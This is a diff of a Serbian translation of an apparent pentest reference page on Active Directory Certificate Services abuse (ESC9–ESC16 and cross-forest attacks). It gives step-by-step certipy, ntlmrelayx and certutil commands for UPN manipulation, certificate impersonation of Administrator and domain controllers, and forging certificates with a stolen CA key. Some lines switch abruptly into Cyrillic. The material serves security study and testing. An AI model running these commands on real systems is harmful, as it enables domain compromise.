izostavljajući deo `@corp.local` da bi se izbeglo kršenje ograničenja. +Nakon toga, `userPrincipalName` korisnice `Jane` je izmenjen u `Administrator`, namerno izostavljajući deo `@corp.local` kako bi se izbeglo kršenje ograničenja. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Nakon toga, zatražen je sertifikat koji omogućava autentifikaciju klijenta kao `Jane`, koristeći podrazumevani `User` šablon. +Nakon toga, kao `Jane` je zatražen sertifikat koji omogućava autentifikaciju klijenta, koristeći podrazumevani `User` šablon. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`userPrincipalName` korisnika `Jane` se zatim vraća na originalnu vrednost, `Jane@corp.local`. +`userPrincipalName` korisnice `Jane` se zatim vraća na izvornu vrednost, `Jane@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Autentifikacijom dobijenog sertifikata dobićete NT hash korisnika `Administrator@corp.local`, pa je potrebno navesti domen u naredbi zbog nedostatka podataka o domenu u sertifikatu. +Autentifikacija sa dobijenim sertifikatom će izbaciti NT hash korisnika `Administrator@corp.local`, što zahteva navođenje domena u komandi zbog odsustva podataka o domenu u sertifikatu. ```bash certipy auth -pfx administrator.pfx -domain corp.local ``` ### Slučaj zloupotrebe 2 -Kada `CertificateMappingMethods` sadrži `UPN` bit flag (`0x4`), nalog A sa `GenericWrite` dozvolama može kompromitovati bilo koji nalog B koji nema `userPrincipalName` property, uključujući machine accounts i ugrađenog domain administratora `Administrator`. +Ako `CertificateMappingMethods` sadrži `UPN` bit zastavicu (`0x4`), nalog A sa `GenericWrite` pravima može kompromitovati bilo koji nalog B koji nema `userPrincipalName` atribut, uključujući mašinske naloge i ugrađeni administratorski nalog domena `Administrator`. -Ovde je cilj kompromitovati `DC$@corp.local`, počevši od dobijanja `Jane`'s hash pomoću Shadow Credentials, iskorišćavanjem `GenericWrite`. +Cilj ovde je kompromitovati `DC$@corp.local`, počevši od pribavljanja hash-a `Jane` putem Shadow Credentials, koristeći `GenericWrite`. ```bash certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane ``` -Vrednost `userPrincipalName` za `Jane` je zatim postavljena na `DC$@corp.local`. +Vrednost `userPrincipalName` korisnika `Jane` je zatim postavljena na `DC$@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local' ``` -Sertifikat za autentifikaciju klijenta je zatražen kao `Jane` koristeći podrazumevani šablon `User`. +Za klijentsku autentifikaciju zatražen je sertifikat kao `Jane` koristeći podrazumevani šablon `User`. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`userPrincipalName` korisnice `Jane` se nakon ovog procesa vraća na izvorni. +`userPrincipalName` korisnice `Jane` se vraća na izvornu vrednost nakon ovog procesa. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local' ``` -Za autentifikaciju preko Schannel korišćena je Certipy opcija `-ldap-shell`, što označava uspešnu autentifikaciju kao `u:CORP\DC$`. +Za autentifikaciju putem Schannel koristi se Certipy-ova opcija `-ldap-shell`, što označava uspeh autentifikacije kao `u:CORP\DC$`. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Kroz LDAP shell, komande poput `set_rbcd` omogućavaju Resource-Based Constrained Delegation (RBCD) napade, potencijalno kompromitujući domain controller. +Kroz LDAP shell, komande poput `set_rbcd` omogućavaju Resource-Based Constrained Delegation (RBCD) napade, potencijalno ugrožavajući domain controller. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Ova ranjivost se takođe odnosi na bilo koji korisnički nalog koji nema `userPrincipalName` ili na kome se on ne poklapa sa `sAMAccountName`; podrazumevani `Administrator@corp.local` je primarni cilj zbog svojih povišenih LDAP privilegija i zato što podrazumevano nema `userPrincipalName`. +Ova ranjivost se takođe odnosi na bilo koji korisnički nalog kojem nedostaje `userPrincipalName` ili kada on ne odgovara `sAMAccountName`-u; podrazumevani nalog `Administrator@corp.local` je posebno poželjan cilj zbog povišenih LDAP privilegija i zato što po podrazumevanju nema `userPrincipalName`. ## Relaying NTLM to ICPR - ESC11 ### Objašnjenje -If CA Server Do not configured with `IF_ENFORCEENCRYPTICERTREQUEST`, it can be makes NTLM relay attacks without signing via RPC service. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). +Ako CA Server nije konfigurisan sa `IF_ENFORCEENCRYPTICERTREQUEST`, to može omogućiti NTLM relay napade bez potpisivanja preko RPC servisa. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). -Možete koristiti `certipy` da proverite da li je `Enforce Encryption for Requests` onemogućen, a certipy će prikazati `ESC11` ranjivosti. +Možete koristiti `certipy` da enumerisate da li je `Enforce Encryption for Requests` Disabled i certipy će prikazati `ESC11` ranjivosti. ```bash $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -618,21 +618,21 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s ``` ## Shell access to ADCS CA with YubiHSM - ESC12 -### Objašnjenje +### Explanation -Administratori mogu da podese Certificate Authority tako da ga skladišti na eksternom uređaju kao što je "Yubico YubiHSM2". +Administratori mogu podesiti Certificate Authority da ga skladišti na eksternom uređaju kao što je "Yubico YubiHSM2". -Ako je USB uređaj povezan sa CA serverom preko USB porta, ili kroz USB device server u slučaju da je CA server virtuelna mašina, authentication key (sometimes referred to as a "password") je potreban Key Storage Provider-u da bi generisao i koristio ključeve u YubiHSM. +Ako je USB uređaj povezan na CA server preko USB porta, ili putem USB device servera u slučaju da je CA server virtuelna mašina, za Key Storage Provider je potreban autentifikacioni ključ (ponekad nazivan "password") da bi generisao i koristio ključeve u YubiHSM. -Ovaj ključ/password je sačuvan u registru pod `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` u čistom tekstu. +Ovaj ključ/lozinka se čuva u registru pod `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` nešifrovano. Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). -### Scenarij zloupotrebe +### Abuse Scenario -Ako je privatni ključ CA-a uskladišten na fizičkom USB uređaju, kada dobijete shell access, moguće je povratiti ključ. +Ako je privatni ključ CA-a pohranjen na fizičkom USB uređaju, kada dobijete shell access, moguće je povratiti ključ. -U prvom koraku, potrebno je dobiti CA certificate (ovo je javno) i zatim: +U prvom koraku, potrebno je pribaviti CA sertifikat (on je javan) i zatim: ```cmd # import it to the user store with CA certificate $ certutil -addstore -user my @@ -640,17 +640,17 @@ $ certutil -addstore -user my # Associated with the private key in the YubiHSM2 device $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my ``` -Na kraju, koristite certutil `-sign` komandu da falsifikujete novi proizvoljni sertifikat koristeći CA sertifikat i njegov privatni ključ. +Na kraju, koristite certutil `-sign` команду да фалсификујете нови произвољни сертификат користећи CA сертификат и његов приватни кључ. ## OID Group Link Abuse - ESC13 ### Objašnjenje -Atribut `msPKI-Certificate-Policy` omogućava dodavanje politike izdavanja u šablon sertifikata. Objekti `msPKI-Enterprise-Oid` koji su odgovorni za izdavanje politika mogu se otkriti u Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) PKI OID containera. Politika može biti povezana sa AD grupom korišćenjem `msDS-OIDToGroupLink` atributa ovog objekta, što omogućava sistemu da autorizuje korisnika koji priloži sertifikat kao da je član te grupe. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). +Atribut `msPKI-Certificate-Policy` омогућава да се политика издaвања додa у шаблон сертификата. Објекти `msPKI-Enterprise-Oid` који су одговорни за политике издaвања могу се открити у Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) контејнера PKI OID. Политика може бити повезана са AD групом коришћењем атрибута овог објекта `msDS-OIDToGroupLink`, омогућавајући систему да ауторизује корисника који прикаже сертификат као да је члан те групе. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). -Drugim rečima, kada korisnik ima dozvolu da zatraži izdavanje sertifikata i sertifikat je povezan sa OID grupom, korisnik može naslediti privilegije te grupe. +Другим речима, када корисник има дозволу да затражи издавање сертификата и сертификат је повезан са OID групом, корисник може наследити привилегије те групе. -Koristite [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) da pronađete OIDToGroupLink: +Користите [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) да пронађете OIDToGroupLink: ```bash Enumerating OIDs ------------------------ @@ -674,47 +674,47 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local ``` ### Scenarij zloupotrebe -Pronađite korisničko dopuštenje koje možete iskoristiti koristeći `certipy find` ili `Certify.exe find /showAllPermissions`. +Pronađite korisničko dopuštenje koje možete iskoristiti pomoću `certipy find` ili `Certify.exe find /showAllPermissions`. -Ako `John` ima dozvolu za upis (enroll) `VulnerableTemplate`, korisnik može naslediti privilegije grupe `VulnerableGroup`. +Ako `John` ima dozvolu za enroll `VulnerableTemplate`, korisnik može naslediti privilegije grupe `VulnerableGroup`. -Sve što treba da uradi je da navede šablon; dobiće sertifikat sa pravima OIDToGroupLink. +Sve što treba da uradi je da navede template, dobiće sertifikat sa OIDToGroupLink pravima. ```bash certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate' ``` -## Konfiguracija ranjivog obnavljanja sertifikata - ESC14 +## Ranjiva konfiguracija obnavljanja sertifikata - ESC14 ### Objašnjenje Opis na https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping je izuzetno detaljan. Ispod sledi citat originalnog teksta. -ESC14 se bavi ranjivostima koje proizilaze iz "weak explicit certificate mapping", prvenstveno kroz zloupotrebu ili nesigurnu konfiguraciju atributa `altSecurityIdentities` na Active Directory korisničkim ili računarima naloga. Ovaj atribut sa više vrednosti omogućava administratorima da ručno povežu X.509 sertifikate sa AD nalogom u svrhu autentifikacije. Kada je popunjen, ovo eksplicitno mapiranje može nadjačati podrazumevanu logiku mapiranja sertifikata, koja obično zavisi od UPN-ova ili DNS imena u SAN sertifikata, ili SID-a ugrađenog u `szOID_NTDS_CA_SECURITY_EXT` security extension. +ESC14 se bavi ranjivostima koje proističu iz "weak explicit certificate mapping", prvenstveno kroz zloupotrebu ili nesigurnu konfiguraciju atributa `altSecurityIdentities` na Active Directory korisničkim ili računarskim nalozima. Ovaj atribut sa više vrednosti omogućava administratorima da ručno povežu X.509 sertifikate sa AD nalogom u svrhu autentifikacije. Kada je popunjen, ova eksplicitna mapiranja mogu nadjačati podrazumevanu logiku mapiranja sertifikata, koja obično zavisi od UPN-ova ili DNS imena u SAN sertifikata, ili SID-a ugrađenog u sigurnosno proširenje `szOID_NTDS_CA_SECURITY_EXT`. -"Slabo" mapiranje se javlja kada je string vrednost korišćena unutar atributa `altSecurityIdentities` za identifikaciju sertifikata preširoka, lako pogodiva, oslanja se na nejedinstvena polja sertifikata ili koristi lako falsifikovane komponente sertifikata. Ako napadač može da pribavi ili izradi sertifikat čiji atributi odgovaraju tako slabo definisanom eksplicitnom mapiranju za privilegovani nalog, može koristiti taj sertifikat da se autentifikuje i predstavlja kao taj nalog. +Do "weak" mapiranja dolazi kada je string vrednost korišćena u atributu `altSecurityIdentities` za identifikaciju sertifikata preširoka, lako pogodiva, zasnovana na nejedinstvenim poljima sertifikata, ili koristi komponente sertifikata koje se lako falsifikuju. Ako napadač može da dobije ili izradi sertifikat čiji atributi odgovaraju takvom slabo definisanom eksplicitnom mapiranju za privilegovani nalog, može iskoristiti taj sertifikat za autentifikaciju i impersonaciju tog naloga. -Primeri potencijalno slabih `altSecurityIdentities` mapping stringova uključuju: +Primeri potencijalno slabih stringova za mapiranje u `altSecurityIdentities` uključuju: -- Mapiranje isključivo po uobičajenom Subject Common Name (CN): npr., `X509:CN=SomeUser`. Napadač bi mogao da pribavi sertifikat sa ovim CN iz manje sigurnog izvora. -- Korišćenje previše generičkih Issuer Distinguished Names (DNs) ili Subject DNs bez daljeg kvalifikovanja kao što su specifičan serial number ili subject key identifier: npr., `X509:CN=SomeInternalCACN=GenericUser`. -- Upotreba drugih predvidljivih obrazaca ili ne-kriptografskih identifikatora koje napadač može zadovoljiti u sertifikatu koji može legitimno dobiti ili falsifikovati (ako je kompromitovao CA ili pronašao ranjiv template kao u ESC1). +- Mapiranje isključivo po uobičajenom Subject Common Name (CN): npr., `X509:CN=SomeUser`. Napadač bi mogao da dobije sertifikat sa ovim CN iz manje sigurnog izvora. +- Korišćenje previše generičkih Issuer Distinguished Names (DN) ili Subject DN-ova bez dodatne kvalifikacije kao što su specifičan serijski broj ili subject key identifier: npr., `X509:CN=SomeInternalCACN=GenericUser`. +- Korišćenje drugih predvidivih obrazaca ili ne-kriptografskih identifikatora koje bi napadač mogao da zadovolji u sertifikatu koji može legitimno dobiti ili falsifikovati (ako je kompromitovao CA ili pronašao ranjiv template kao u ESC1). Atribut `altSecurityIdentities` podržava različite formate za mapiranje, kao što su: - `X509:IssuerDNSubjectDN` (mapira po punom Issuer i Subject DN) -- `X509:SubjectKeyIdentifier` (mapira po Subject Key Identifier vrednosti u sertifikatu) -- `X509:SerialNumberBackedByIssuerDN` (mapira po serial number-u, implicitno kvalifikovanom Issuer DN-om) - ovo nije standardni format, obično je `IssuerDNSerialNumber`. -- `X509:EmailAddress` (mapira po RFC822 imenu, obično email adresi, iz SAN) -- `X509:Thumbprint-of-Raw-PublicKey` (mapira po SHA1 hashu raw public key-a sertifikata - generalno jako) +- `X509:SubjectKeyIdentifier` (mapira po vrednosti Subject Key Identifier ekstenzije sertifikata) +- `X509:SerialNumberBackedByIssuerDN` (mapira po serijskom broju, implicitno kvalifikovanom Issuer DN-om) - ovo nije standardni format, obično je `IssuerDNSerialNumber`. +- `X509:EmailAddress` (mapira po RFC822 imenu, tipično email adresi iz SAN) +- `X509:Thumbprint-of-Raw-PublicKey` (mapira po SHA1 hešu sirovog javnog ključa sertifikata - generalno snažno) -Bezbednost ovih mapiranja u velikoj meri zavisi od specifičnosti, jedinstvenosti i kriptografske jačine izabranih identifikatora sertifikata korišćenih u mapping stringu. Čak i sa omogućenim jakim režimima vezivanja sertifikata na Domain Controllers (koji pre svega utiču na implicitna mapiranja zasnovana na SAN UPN-ovima/DNS i SID ekstenziji), loše konfigurisana `altSecurityIdentities` stavka i dalje može predstavljati direktan put za impersonaciju ako je sama logika mapiranja pogrešna ili previše permisivna. +Bezbednost ovih mapiranja u velikoj meri zavisi od specifičnosti, jedinstvenosti i kriptografske snage izabranih identifikatora sertifikata koji se koriste u stringu za mapiranje. Čak i sa uključenim snažnim režimima vezivanja sertifikata na Domain Controller-ima (koji uglavnom utiču na implicitna mapiranja zasnovana na SAN UPN/DNS i SID ekstenziji), loše konfigurisana `altSecurityIdentities` stavka i dalje može predstavljati direktan put za impersonaciju ako je sama logika mapiranja pogrešna ili previše permisivna. ### Scenarij zloupotrebe -ESC14 cilja **eksplicitna mapiranja sertifikata** u Active Directory (AD), konkretno atribut `altSecurityIdentities`. Ako je ovaj atribut postavljen (po dizajnu ili zbog pogrešne konfiguracije), napadači mogu da se predstavljaju kao nalozi tako što će prikazati sertifikate koji odgovaraju mapiranju. +ESC14 cilja **explicit certificate mappings** u Active Directory (AD), tačnije atribut `altSecurityIdentities`. Ako je ovaj atribut postavljen (po dizajnu ili greškom u konfiguraciji), napadači mogu da oponašaju naloge predstavljajući sertifikate koji odgovaraju mapiranju. -#### Scenarij A: Napadač može da piše u `altSecurityIdentities` +#### Scenario A: Napadač može pisati u `altSecurityIdentities` -**Preduslov**: Napadač ima write permisije nad `altSecurityIdentities` atributom ciljane naloga ili ima dozvolu da je dodeli u vidu jedne od sledećih permisija na ciljnom AD objektu: +**Preduslov**: Napadač ima dozvole za pisanje na atribut `altSecurityIdentities` ciljnog naloga ili ima dozvolu da to dodeli u vidu jedne od sledećih dozvola na ciljnom AD objektu: - Write property `altSecurityIdentities` - Write property `Public-Information` - Write property (all) @@ -724,22 +724,22 @@ ESC14 cilja **eksplicitna mapiranja sertifikata** u Active Directory (AD), konkr - `GenericAll` - Owner*. -#### Scenarij B: Cilj ima slabo mapiranje preko X509RFC822 (email) +#### Scenario B: Cilj ima slabo mapiranje putem X509RFC822 (Email) -- **Preduslov**: Cilj ima slabo X509RFC822 mapiranje u altSecurityIdentities. Napadač može da postavi victim-ov `mail` atribut da se poklapa sa target-ovim X509RFC822 imenom, upiše sertifikat kao victim i iskoristi ga da se autentifikuje kao cilj. +- **Preduslov**: Cilj ima slabo X509RFC822 mapiranje u `altSecurityIdentities`. Napadač može da postavi mail atribut žrtve da odgovara X509RFC822 imenu cilja, registruje sertifikat kao žrtva i koristi ga za autentifikaciju kao cilj. -#### Scenarij C: Cilj ima X509IssuerSubject mapiranje +#### Scenario C: Cilj ima X509IssuerSubject mapiranje -- **Preduslov**: Cilj ima slabo X509IssuerSubject eksplicitno mapiranje u `altSecurityIdentities`. Napadač može da postavi `cn` ili `dNSHostName` atribut na victim principal-u da odgovara subject-u target-ovog X509IssuerSubject mapiranja. Zatim, napadač može upisati sertifikat kao victim i koristiti taj sertifikat da se autentifikuje kao cilj. +- **Preduslov**: Cilj ima slabo X509IssuerSubject eksplicitno mapiranje u `altSecurityIdentities`. Napadač može da postavi `cn` ili `dNSHostName` atribut na žrtvinom principal-u da odgovara subject-u X509IssuerSubject mapiranja cilja. Zatim napadač može da registruje sertifikat kao žrtva i koristi taj sertifikat za autentifikaciju kao cilj. -#### Scenarij D: Cilj ima X509SubjectOnly mapiranje +#### Scenario D: Cilj ima X509SubjectOnly mapiranje -- **Preduslov**: Cilj ima slabo X509SubjectOnly eksplicitno mapiranje u `altSecurityIdentities`. Napadač može da postavi `cn` ili `dNSHostName` atribut na victim principal-u da odgovara subject-u target-ovog X509SubjectOnly mapiranja. Zatim, napadač može upisati sertifikat kao victim i koristiti taj sertifikat da se autentifikuje kao cilj. +- **Preduslov**: Cilj ima slabo X509SubjectOnly eksplicitno mapiranje u `altSecurityIdentities`. Napadač može da postavi `cn` ili `dNSHostName` atribut na žrtvinom principal-u da odgovara subject-u X509SubjectOnly mapiranja cilja. Zatim napadač može da registruje sertifikat kao žrtva i koristi taj sertifikat za autentifikaciju kao cilj. ### konkretne operacije -#### Scenarij A +#### Scenario A -Zatražite sertifikat iz šablona sertifikata `Machine`. +Zatražite sertifikat iz šablona sertifikata `Machine` ```bash .\Certify.exe request /ca: /template:Machine /machine ``` @@ -755,13 +755,13 @@ Autentifikujte se (koristeći sertifikat) ```bash Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:DC=local,DC=external,CN=external-EXTCA01-CA250000000000a5e838c6db04f959250000006c" ``` -Za specifičnije metode napada u raznim scenarijima, molimo pogledajte sledeće: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). +For more specific attack methods in various attack scenarios, please refer to the following: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). ## EKUwu Application Policies(CVE-2024-49019) - ESC15 ### Objašnjenje -Opis na https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc je izuzetno detaljan. Ispod sledi citat originalnog teksta. +Opis na https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc je izuzetno detaljan. Ispod je citat originalnog teksta. Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template @@ -769,13 +769,14 @@ Using built-in default version 1 certificate templates, an attacker can craft a Sledeće se odnosi na [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods. -Certipy's `find` command može pomoći da identifikujete V1 templates koji su potencijalno podložni ESC15 ako CA nije zakrpljen. + +Certipy's `find` command can help identify V1 templates that are potentially susceptible to ESC15 if the CA is unpatched. ```bash certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100 ``` -#### Scenarij A: Direktno lažno predstavljanje preko Schannel +#### Scenarij A: Direct Impersonation via Schannel -**Korak 1: Zatražite sertifikat, ubacujući "Client Authentication" Application Policy i ciljni UPN.** Napadač `attacker@corp.local` cilja `administrator@corp.local` koristeći "WebServer" V1 šablon (koji omogućava enrollee-supplied subject). +**Korak 1: Zatražite sertifikat, ubacujući "Client Authentication" Application Policy i ciljani UPN.** Napadač `attacker@corp.local` cilja `administrator@corp.local` koristeći "WebServer" V1 template (koji dozvoljava enrollee-supplied subject). ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -784,17 +785,17 @@ certipy req \ -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \ -application-policies 'Client Authentication' ``` -- `-template 'WebServer'`: Ranjiv V1 template sa "Enrollee supplies subject". +- `-template 'WebServer'`: The vulnerable V1 template with "Enrollee supplies subject". - `-application-policies 'Client Authentication'`: Ubacuje OID `1.3.6.1.5.5.7.3.2` u Application Policies ekstenziju CSR-a. -- `-upn 'administrator@corp.local'`: Postavlja UPN u SAN za impersonaciju. +- `-upn 'administrator@corp.local'`: Postavlja UPN u SAN radi lažnog predstavljanja. -**Korak 2: Autentifikujte se putem Schannel (LDAPS) koristeći dobijeni sertifikat.** +**Korak 2: Autentifikujte se preko Schannel (LDAPS) koristeći dobijeni sertifikat.** ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell ``` -#### Scenarij B: PKINIT/Kerberos Impersonation putem Enrollment Agent Abuse +#### Scenarij B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse -**Korak 1: Zatražite sertifikat iz V1 template (sa "Enrollee supplies subject"), ubacujući "Certificate Request Agent" Application Policy.** Ovaj sertifikat je za napadača (`attacker@corp.local`) da postane enrollment agent. Ovde nije naveden nijedan UPN za identitet napadača, jer je cilj sposobnost agenta. +**Korak 1: Zatražite sertifikat iz V1 template-a (sa "Enrollee supplies subject"), ubacujući "Certificate Request Agent" Application Policy.** Ovaj sertifikat služi da napadač (`attacker@corp.local`) postane enrollment agent. Ovde nije naveden UPN za napadačev identitet, jer je cilj ovlašćenje agenta. ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -804,7 +805,7 @@ certipy req \ ``` - `-application-policies 'Certificate Request Agent'`: Ubacuje OID `1.3.6.1.4.1.311.20.2.1`. -**Korak 2: Iskoristite "agent" sertifikat da zatražite sertifikat u ime ciljanog privilegovanog korisnika.** Ovo je ESC3-like korak, koristeći sertifikat iz Koraka 1 kao agent sertifikat. +**Korak 2: Iskoristite "agent" sertifikat da zatražite sertifikat u ime ciljanog privilegovanog korisnika.** Ovo je ESC3-like korak, pri čemu se koristi sertifikat iz Koraka 1 kao agent sertifikat. ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -816,27 +817,27 @@ certipy req \ ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' ``` -## Security Extension Disabled on CA (Globally)-ESC16 +## Onemogućena bezbednosna ekstenzija na CA (globalno) - ESC16 -### Explanation +### Objašnjenje -**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** odnosi se na scenario gde, ako konfiguracija AD CS ne primorava uključivanje **szOID_NTDS_CA_SECURITY_EXT** ekstenzije u sve sertifikate, napadač to može iskoristiti na sledeći način: +**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** odnosi se na scenarij u kome, ako konfiguracija Active Directory Certificate Services (AD CS) ne nameće uključivanje ekstenzije **szOID_NTDS_CA_SECURITY_EXT** u svim sertifikatima, napadač to može iskoristiti na sledeći način: -1. Zahtevanje sertifikata **without SID binding**. +1. Zahtevajući sertifikat **bez SID bindinga**. -2. Korišćenje ovog sertifikata **for authentication as any account**, na primer impersoniranjem naloga visokih privilegija (npr. Domain Administrator). +2. Korišćenjem ovog sertifikata **za autentifikaciju kao bilo koji nalog**, na primer imitirajući nalog sa visokim privilegijama (npr. Domain Administrator). -You can also refer to this article to learn more about the detailed principle:https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 +Takođe možete pogledati ovaj članak da saznate više o detaljnom principu: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 -### Abuse +### Zloupotreba -Sledeće se odnosi na [ovaj link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally). Kliknite da biste videli detaljnije metode upotrebe. +Sledeće se odnosi na [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), kliknite da vidite detaljnije metode upotrebe. -To identify whether the Active Directory Certificate Services (AD CS) environment is vulnerable to **ESC16** +Da biste utvrdili da li je okruženje Active Directory Certificate Services (AD CS) ranjivo na **ESC16** ```bash certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable ``` -**Korak 1: Pročitajte početni UPN naloga žrtve (Opcionalno - za obnavljanje). +**Korak 1: Pročitajte početni UPN naloga žrtve (Neobavezno - za obnavljanje). ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -850,14 +851,14 @@ certipy account \ -dc-ip '10.0.0.100' -upn 'administrator' \ -user 'victim' update ``` -**Korak 3: (ako je potrebno) Nabavite podatke za prijavu za nalog "žrtve" (npr. putem Shadow Credentials).** +**Korak 3: (ako je potrebno) Nabavite kredencijale za nalog „žrtve” (npr. putem Shadow Credentials).** ```shell certipy shadow \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -account 'victim' \ auto ``` -**Korak 4: Zatražite sertifikat kao korisnik "victim" iz _bilo kojeg odgovarajućeg šablona za autentifikaciju klijenta_ (npr. "User") na CA ranjivom na ESC16.** Pošto je CA ranjiv na ESC16, automatski će izostaviti SID security extension iz izdatog sertifikata, bez obzira na specifična podešavanja šablona za ovo proširenje. Postavite promenljivu okruženja Kerberos credential cache (shell komanda): +**Korak 4: Zatražite sertifikat kao korisnik "victim" iz _any suitable client authentication template_ (npr. "User") na ESC16-vulnerable CA.** Pošto je CA ranjiv na ESC16, automatski će izostaviti SID security extension iz izdatog sertifikata, bez obzira na specifična podešavanja šablona za ovu ekstenziju. Podesite Kerberos credential cache environment variable (shell command): ```bash export KRB5CCNAME=victim.ccache ``` @@ -875,24 +876,24 @@ certipy account \ -dc-ip '10.0.0.100' -upn 'victim@corp.local' \ -user 'victim' update ``` -**Korak 6: Autentifikujte se kao ciljni administrator.** +**Korak 6: Autentifikujte se kao ciljani administrator.** ```bash certipy auth \ -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \ -username 'administrator' -domain 'corp.local' ``` -## Compromising Forests with Certificates Explained in Passive Voice +## Kompromitovanje forestova pomoću certifikata — objašnjeno u pasivnom obliku -### Breaking of Forest Trusts by Compromised CAs +### Kršenje forest trust-ova usled kompromitovanih CA -Konfiguracija za **cross-forest enrollment** je relativno jednostavna. The **root CA certificate** from the resource forest is **published to the account forests** by administrators, and the **enterprise CA** certificates from the resource forest are **added to the `NTAuthCertificates` and AIA containers in each account forest**. Da pojasnimo, ova postavka daje **CA in the resource forest complete control** over all other forests za koje upravlja PKI. Should this CA be **compromised by attackers**, sertifikati za sve korisnike u oba — resource i account forests — mogli bi biti **forged by them**, čime bi bila narušena sigurnosna granica foresta. +Konfiguracija za **cross-forest enrollment** učinjena je relativno jednostavnom. **Root CA certificate** iz resource forest-a se od strane administratora **publish-uje u account forests**, a **enterprise CA** certificates iz resource forest-a se **dodaju u `NTAuthCertificates` i AIA containers u svakom account forest-u**. Da se pojasni, ovim aranžmanom se **CA in the resource forest potpuna kontrola** nad svim ostalim forest-ovima za koje upravlja PKI dodeljuje. Ukoliko bi ova CA bila **compromised by attackers**, certifikati za sve korisnike i u resource i u account forests mogli bi biti **forged by them**, čime bi sigurnosna granica forest-a bila prekršena. -### Enrollment Privileges Granted to Foreign Principals +### Privilegije enrollment-a dodeljene stranim principal-ima -U multi-forest okruženjima treba postupati oprezno prema Enterprise CAs koje **publish certificate templates** koje dozvoljavaju **Authenticated Users or foreign principals** (korisnici/grupe koji su eksterni u odnosu na forest kojem pripada Enterprise CA) **enrollment and edit rights**.\ -Prilikom autentikacije preko trust-a, **Authenticated Users SID** se dodaje u token korisnika od strane AD. Dakle, ako domen poseduje Enterprise CA sa template-om koji **allows Authenticated Users enrollment rights**, taj template bi potencijalno mogao biti **enrolled in by a user from a different forest**. Isto tako, ako su **enrollment rights are explicitly granted to a foreign principal by a template**, time se kreira **cross-forest access-control relationship**, omogućavajući principal-u iz jednog foresta da **enroll in a template from another forest**. +U okruženjima sa više forest-ova, potrebno je biti oprezan u vezi sa Enterprise CAs koje **publish certificate templates** koji dozvoljavaju **Authenticated Users ili foreign principals** (korisnici/grupe van forest-a kojem 